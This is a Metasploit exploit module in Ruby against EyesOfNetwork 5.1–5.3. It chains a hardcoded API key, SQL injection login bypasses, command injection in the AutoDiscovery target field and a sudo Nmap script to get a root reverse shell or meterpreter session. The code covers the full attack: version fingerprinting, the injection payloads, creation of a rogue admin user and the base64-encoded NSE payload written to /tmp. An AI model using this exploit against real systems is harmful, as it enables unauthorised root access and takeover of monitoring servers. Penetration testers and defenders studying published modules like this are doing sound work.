## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::SQLi prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution', 'Description' => %q{ This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2 and 5.3 in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the `target` parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the`apache` user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via various methods, depending on the EON version. EON 5.3 is vulnerable to a hardcoded API key and two SQL injection exploits. EON 5.1 and 5.2 can only be exploited via SQL injection. This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Billac', # @h4knet - Discovery and exploits 'bcoles', # Metasploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-8654'], # authenticated rce ['CVE', '2020-8655'], # nmap privesc ['CVE', '2020-8656'], # sqli auth bypass ['CVE', '2020-8657'], # hardcoded API key ['CVE', '2020-9465'], # sqli in user_id cookie field ['EDB', '48025'], #exploit for EON 5.3 (does not cover CVE 2020-9465) ['URL', 'https://github.com/h4knet/eonrce'] #exploits for EON 5.1-5.3 that cover all CVEs mentioned above ], 'Payload' => { 'BadChars' => "\x00" }, 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-06', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, #HTTPS is required for the module to work }, 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], } )) register_options [ OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']), OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']), ] end def nmap_path '/usr/bin/nmap' end def server_addr datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR'] end def check vprint_status("Running check") res_css = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'css/eonweb.css') unless res_css return CheckCode::Unknown('Connection failed') end unless res_css.code == 200 return CheckCode::Safe('Target is not an EyesOfNetwork application.') end @version = res_css.body.to_s.split("VERSION :")[1].split(" ")[0] if @version.to_s == '' return CheckCode::Detected('Could not determine EyesOfNetwork version.') end if @version == '5.1' return CheckCode::Appears("Target is EyesOfNetwork version 5.1.") end #The css file for EON 5.2 and 5.3 both mentions version 5.2, so additional checks are needed if @version != '5.2' #The module only works against EON 5.1, 5.2 and 5.3. Other versions are not considered vulnerable. return CheckCode::NotVulnerable("Target is EyesOfNetwork version #{@version} and is not vulnerable.") end res_api = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey') unless res_api return CheckCode::Unknown('Connection failed') end unless res_api.code == 401 && res_api.body.include?('api_version') return CheckCode::Safe('Target is not an EyesOfNetwork application.') end api_version = res_api.get_json_document()['api_version'] rescue '' if api_version.to_s == '' return CheckCode::Detected('Could not determine EyesOfNetwork version.') end api_version = Rex::Version.new api_version unless api_version <= Rex::Version.new('2.4.2') return CheckCode::Safe("Target is EyesOfNetwork with API version #{api_version}.") end #The only way to distinguish between EON 5.2 and 5.3 without authenticating is by checking the mod_perl version in the http response headers #The official EON 5.2 VM runs Apache with mod_perl version 2.0.10, while the EON 5.3 VM runs Apache with mod_perl version 2.0.11 if res_api.headers.to_s.include?('mod_perl/2.0.10') @version = '5.2' return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.") elsif res_api.headers.to_s.include?('mod_perl/2.0.11') @version = '5.3' return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.") else return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}") end end def sqli_to_admin_session @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload| res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/login.php'), 'cookie' => "user_id=' union select #{payload} -- ;" }) fail_with Failure::Unreachable, 'Connection failed' unless res end # check if target is vulnerable to CVE-2020-9465 unless @sqli.test_vulnerable fail_with Failure::NotVulnerable, 'The target does not seem vulnerable. You could try increasing the value of the advanced option "SqliDelay".' end print_good 'The target seems vulnerable.' # Check if the admin user has a session opened, which is required for this exploit to work admin_sessions = @sqli.run_sql('select if((select count(*) from sessions where user_id = 1) > 0,1,0)', output_charset: ('0' .. '1')) if admin_sessions != '1' fail_with Failure::NoAccess, 'The admin user has no active sessions.' return end print_status 'Verified that the admin user has at least one active session.' print_status("Calculating the admin 'session_id' value. This will take a while...") # Could have done : @sqli.dump_table_fields('database()', 'sessions', %w(session_id), 'user_id=1', 1) @session_id = @sqli.run_sql('select session_id from sessions limit 1', output_charset: ('0'..'9')) print_good("Obtained admin 'session_id' value: #{@session_id}") @cookie = "session_id=#{@session_id}; user_name=admin; user_id=1; group_id=1;" end def generate_api_key default_key = "€On@piK3Y" default_user_id = 1 key = Digest::MD5.hexdigest(default_key + default_user_id.to_s) Digest::SHA256.hexdigest(key + server_addr) end def sqli_to_api_key # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash fake_pass = Rex::Text::rand_text_alpha(10) fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}") user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '" api_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"), 'method' => 'GET', 'vars_get' => { 'username' => user_sqli, 'password' => fake_pass } }) unless api_res print_error('Connection failed.') return end unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY') print_error("SQL injection to obtain API key failed") return end api_res.get_json_document()['EONAPI_KEY'] end def create_eon_user(user, password) vprint_status("Creating user #{user} ...") vars_post = { user_name: user, user_group: "admins", user_password: password } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'), 'ctype' => 'application/json', 'vars_get' => { 'apiKey' => @api_key, 'username' => @api_user }, 'data' => vars_post.to_json }) unless res print_warning("Failed to create user: Connection failed.") return end return res end def verify_api_key(res) return false unless res.code == 200 json_data = res.get_json_document json_res = json_data['result'] return false unless json_res && json_res['description'] json_res = json_res['description'] return true if json_res && json_res.include?('SUCCESS') return false end def delete_eon_user(user) vprint_status "Removing user #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'), 'ctype' => 'application/json', 'data' => { user_name: user }.to_json, 'vars_get' => { apiKey: @api_key, username: @api_user } }) unless res print_warning 'Removing user #{user} failed: Connection failed' return end res end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'vars_post' => { login: user, mdp: pass } }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('dashboard_view') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}" @cookie = res.get_cookies if @cookie.empty? fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies' end res end def create_autodiscovery_job(cmd) vprint_status "Creating AutoDiscovery job: #{cmd}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_post' => { 'request' => 'autodiscover', 'job_name' => 'Internal discovery', 'job_description' => 'Internal EON discovery procedure.', 'nmap_binary' => nmap_path, 'default_template' => '', 'target[]' => cmd } }) unless res fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed' end unless res.body.include? 'Starting...' fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start' end res end def delete_autodiscovery_job(job_id) vprint_status "Removing AutoDiscovery job #{job_id} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_get' => { id: job_id, delete: 1 } }) unless res print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed" return end res end def filter_bad_chars(cmd) cmd.gsub!(/"/, '\"') end def execute_command(cmd, opts = {}) nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{cmd}\") end action=function() end") nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}" nse_cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}" if target.arch.first == ARCH_CMD print_status "Sending payload (#{nse_cmd.length} bytes) ..." end res = create_autodiscovery_job ";#{nse_cmd} #" return unless res job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first if job_id.empty? print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.' return end delete_autodiscovery_job job_id end def cleanup super if @username delete_eon_user @username end end def exploit if @version != '5.3' print_status "Target is EyesOfNetwork version #{@version}. Attempting exploitation using CVE-2020-9465." sqli_to_admin_session else print_status "Target is EyesOfNetwork version #{@version} or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656." @api_user = 'admin' @api_key = generate_api_key print_status "Using generated API key: #{@api_key}" @username = rand_text_alphanumeric(8..12) @password = rand_text_alphanumeric(8..12) create_res = create_eon_user @username, @password api = true #used to check if any of the 2 api exploits work. If not, CVE-2020-9465 is attempted unless verify_api_key(create_res) @api_key = sqli_to_api_key if @api_key print_error("Generated API key does not match.") print_status("Using API key obtained via SQL injection: #{@api_key}") sqli_verify = create_eon_user @username, @password api = false unless verify_api_key(sqli_verify) else api = false end end if api admin_group_id = 1 login @username, @password unless @cookie.include? 'group_id=' @cookie << "; group_id=#{admin_group_id}" end else print_error("Failed to obtain valid API key.") print_status("Attempting exploitation using CVE-2020-9465.") sqli_to_admin_session end end if target.arch.first == ARCH_CMD execute_command payload.encoded.gsub(/"/, '\"') else execute_cmdstager(background: true) end end end